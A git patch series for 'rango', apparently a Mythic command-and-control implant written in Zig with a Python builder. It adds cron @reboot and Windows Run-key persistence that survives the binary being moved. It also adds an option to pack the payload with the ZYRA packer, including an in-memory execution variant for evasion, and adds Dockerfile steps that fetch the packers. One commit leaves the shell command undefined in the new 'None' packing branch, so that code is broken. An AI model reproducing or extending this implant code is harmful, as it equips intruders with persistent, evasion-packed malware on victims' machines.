From 0cc92ad402783b199b425b8c73e0f48f629da6a0 Mon Sep 17 00:00:00 2001 From: pop-ecx Date: Mon, 8 Dec 2025 15:38:16 +0300 Subject: [PATCH 1/5] WIP: fix a zyra issue as well as a persistence bug --- .../rango/rango/agent_code/src/agent.zig | 33 +++++++++++++-- .../rango/rango/agent_code/src/utils.zig | 42 +++++++++++++++++++ 2 files changed, 72 insertions(+), 3 deletions(-) diff --git a/Payload_Type/rango/rango/agent_code/src/agent.zig b/Payload_Type/rango/rango/agent_code/src/agent.zig index fb4183c..90edf83 100644 --- a/Payload_Type/rango/rango/agent_code/src/agent.zig +++ b/Payload_Type/rango/rango/agent_code/src/agent.zig @@ -82,10 +82,37 @@ pub const MythicAgent = struct { const exepath = try std.fs.selfExePathAlloc(self.allocator); defer self.allocator.free(exepath); - PersistUtils.install_cron(exepath, self.allocator) catch |err| { - std.debug.print("{}", .{err}); - }; + //There is a bug where if you use zyra, the path is different from where + //the agent is. So we'll just install cron only if zyra isn't used + //This is a temporary workaround until I do a better persistence mechanism + //We also need to check if the cron entry is different if the binary + //was moved to a different location. If it was moved, we need to update + //the cron entry as well. + + const is_zyra = std.mem.startsWith(u8, exepath, "/tmp/zyra"); + const in_mem = std.mem.endsWith(u8, exepath, " (deleted)"); + if (is_zyra or in_mem) { + print("", .{}); + } else { + // Here is where we should check if a cron job exists for this exepath + // If it doesn't, we install one + const cron_exists = try PersistUtils.get_cron_entries(self.allocator); + if (cron_exists == null or cron_exists.?.len == 0) { + PersistUtils.install_cron(exepath, self.allocator) catch |err| { + std.debug.print("{}", .{err}); + }; + } else { + const cron_path = cron_exists.?; + if (!std.mem.eql(u8, cron_path, exepath)) { + PersistUtils.update_cron_entry(cron_path, exepath, self.allocator) catch |err| { + std.debug.print("{}", .{err}); + }; + } else { + print("", .{}); + } + } + } while (self.is_running) { if (self.config.kill_date) |kill_date| { if (TimeUtils.isKillDateReached(kill_date)) { diff --git a/Payload_Type/rango/rango/agent_code/src/utils.zig b/Payload_Type/rango/rango/agent_code/src/utils.zig index cc0a922..377adb7 100644 --- a/Payload_Type/rango/rango/agent_code/src/utils.zig +++ b/Payload_Type/rango/rango/agent_code/src/utils.zig @@ -366,4 +366,46 @@ pub const PersistUtils = struct { } //_ = write_proc.wait() catch {};//line caused a panic in my tests, commenting out for now } + pub fn get_cron_entries(allocator: std.mem.Allocator) !?[]const u8 { + if (builtin.os.tag == .windows) { + const result = try std.process.Child.run(.{ + .allocator = allocator, + .argv = &.{ + "reg.exe", + "query", + "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", + "/v", + "Rango", + }, + }); + + if (result.term.Exited != 0) { + return try allocator.dupe(u8, ""); + } + return try allocator.dupe(u8, result.stdout); + } else { + const result = try std.process.Child.run(.{ + .allocator = allocator, + .argv = &.{ "crontab", "-l" }, + .max_output_bytes = 8192, + }); + const out = result.stdout; + var filtered_lines = std.mem.tokenizeAny(u8, out, "\n"); + while (filtered_lines.next()) |line| { + if (std.mem.startsWith(u8, std.mem.trim(u8, line, " \t"), "@reboot")) { + var parts = std.mem.tokenizeScalar(u8, line, ' '); + _ = parts.next(); // skip "@reboot" + + if (parts.next()) |path| { + return path; + } + } + } + return null; // No entry found + } + } + pub fn update_cron_entry(old_path: []const u8, new_path: []const u8, allocator: std.mem.Allocator) !void { + try PersistUtils.remove_cron_entry(old_path, allocator); + try PersistUtils.install_cron(new_path, allocator); + } }; From e88e0bebe8475216d5641af09c31d5a55b8f5d83 Mon Sep 17 00:00:00 2001 From: pop-ecx Date: Tue, 27 Jan 2026 12:08:14 +0300 Subject: [PATCH 2/5] chore: bump up to 0.15.1 in zon --- Payload_Type/rango/rango/agent_code/build.zig.zon | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/rango/rango/agent_code/build.zig.zon b/Payload_Type/rango/rango/agent_code/build.zig.zon index adb6ca8..a0d4ab3 100644 --- a/Payload_Type/rango/rango/agent_code/build.zig.zon +++ b/Payload_Type/rango/rango/agent_code/build.zig.zon @@ -28,7 +28,7 @@ // Tracks the earliest Zig version that the package considers to be a // supported use case. - .minimum_zig_version = "0.14.0", + .minimum_zig_version = "0.15.1", // This field is optional. // Each dependency must either provide a `url` and `hash`, or a `path`. From 77eb2198ca603c2472468cc4eb6248fa806343c5 Mon Sep 17 00:00:00 2001 From: pop-ecx Date: Tue, 27 Jan 2026 15:41:17 +0300 Subject: [PATCH 3/5] feat [WIP]: Choose between in mem ad disk when building --- Payload_Type/rango/Dockerfile | 4 ++++ .../rango/rango/agent_functions/builder.py | 16 ++++++++++++++-- 2 files changed, 18 insertions(+), 2 deletions(-) diff --git a/Payload_Type/rango/Dockerfile b/Payload_Type/rango/Dockerfile index 12ac3b4..ce179b8 100644 --- a/Payload_Type/rango/Dockerfile +++ b/Payload_Type/rango/Dockerfile @@ -25,6 +25,10 @@ RUN wget https://github.com/CX330Blake/ZYRA/releases/download/v0.1.6/zyra-linux- chmod +x zyra && \ mv zyra /usr/local/bin/zyra +RUN wget https://github.com/pop-ecx/ZYRA/releases/download/v0.1.0/zyra-im -O zyra-im && \ + chmod +x zyra-im && \ + mv zyra-inmem /usr/local/bin/zyra-im + RUN wget -q https://ziglang.org/download/0.15.1/zig-x86_64-linux-0.15.1.tar.xz && \ tar -xf zig-x86_64-linux-0.15.1.tar.xz && \ mv zig-x86_64-linux-0.15.1 /usr/local/zig-0.15.1 && \ diff --git a/Payload_Type/rango/rango/agent_functions/builder.py b/Payload_Type/rango/rango/agent_functions/builder.py index 461d531..03ebfe3 100644 --- a/Payload_Type/rango/rango/agent_functions/builder.py +++ b/Payload_Type/rango/rango/agent_functions/builder.py @@ -46,6 +46,13 @@ class Rango(PayloadType): description="Pack the final payload with ZYRA (Linux only)", default_value=False, ), + BuildParameter( + name="In Mem or Disk", + parameter_type=BuildParameterType.ChooseOne, + description="Choose whether to load the payload into memory or write to disk before execution", + choices=["In Mem", "Disk"], + default_value="Disk", + ), BuildParameter( name="Packing_key", parameter_type=BuildParameterType.String, @@ -173,10 +180,15 @@ async def build(self) -> BuildResponse: StepSuccess=True )) pack_with_zyra = self.get_parameter("pack_with_zyra") + execution_mode = self.get_parameter("In Mem or Disk") packing_key = self.get_parameter("Packing_key") if pack_with_zyra and target_os=="linux" and packing_key: - packed_filename = f"{filename}" - pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}" + if execution_mode == "In Mem": + packed_filename = f"{filename}.p" + pack_cmd = f"zyra-im -o {packed_filename} -k {packing_key} {filename}" + else: + packed_filename = f"{filename}" + pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}" proc = await asyncio.create_subprocess_shell( pack_cmd, stdout=asyncio.subprocess.PIPE, From bc90827d9258503de45d8d4aa4e399ee30eb73a9 Mon Sep 17 00:00:00 2001 From: pop-ecx Date: Wed, 28 Jan 2026 15:10:25 +0300 Subject: [PATCH 4/5] fix: get correct binary for in mem execution --- Payload_Type/rango/Dockerfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Payload_Type/rango/Dockerfile b/Payload_Type/rango/Dockerfile index ce179b8..e3c0ca9 100644 --- a/Payload_Type/rango/Dockerfile +++ b/Payload_Type/rango/Dockerfile @@ -27,7 +27,7 @@ RUN wget https://github.com/CX330Blake/ZYRA/releases/download/v0.1.6/zyra-linux- RUN wget https://github.com/pop-ecx/ZYRA/releases/download/v0.1.0/zyra-im -O zyra-im && \ chmod +x zyra-im && \ - mv zyra-inmem /usr/local/bin/zyra-im + mv zyra-im /usr/local/bin/zyra-im RUN wget -q https://ziglang.org/download/0.15.1/zig-x86_64-linux-0.15.1.tar.xz && \ tar -xf zig-x86_64-linux-0.15.1.tar.xz && \ From 40f61c3d22cd80fa0eed86e402ce872e1ccda72c Mon Sep 17 00:00:00 2001 From: pop-ecx Date: Wed, 28 Jan 2026 15:11:10 +0300 Subject: [PATCH 5/5] fix: add 'None' option when packing --- Payload_Type/rango/rango/agent_functions/builder.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Payload_Type/rango/rango/agent_functions/builder.py b/Payload_Type/rango/rango/agent_functions/builder.py index 03ebfe3..3bd5d4d 100644 --- a/Payload_Type/rango/rango/agent_functions/builder.py +++ b/Payload_Type/rango/rango/agent_functions/builder.py @@ -50,7 +50,7 @@ class Rango(PayloadType): name="In Mem or Disk", parameter_type=BuildParameterType.ChooseOne, description="Choose whether to load the payload into memory or write to disk before execution", - choices=["In Mem", "Disk"], + choices=["In Mem", "Disk", "None"], default_value="Disk", ), BuildParameter( @@ -186,9 +186,11 @@ async def build(self) -> BuildResponse: if execution_mode == "In Mem": packed_filename = f"{filename}.p" pack_cmd = f"zyra-im -o {packed_filename} -k {packing_key} {filename}" - else: + elif execution_mode == "Disk": packed_filename = f"{filename}" pack_cmd = f"zyra -o {packed_filename} -k {packing_key} {filename}" + else: + pass # No packing if "None" is selected proc = await asyncio.create_subprocess_shell( pack_cmd, stdout=asyncio.subprocess.PIPE,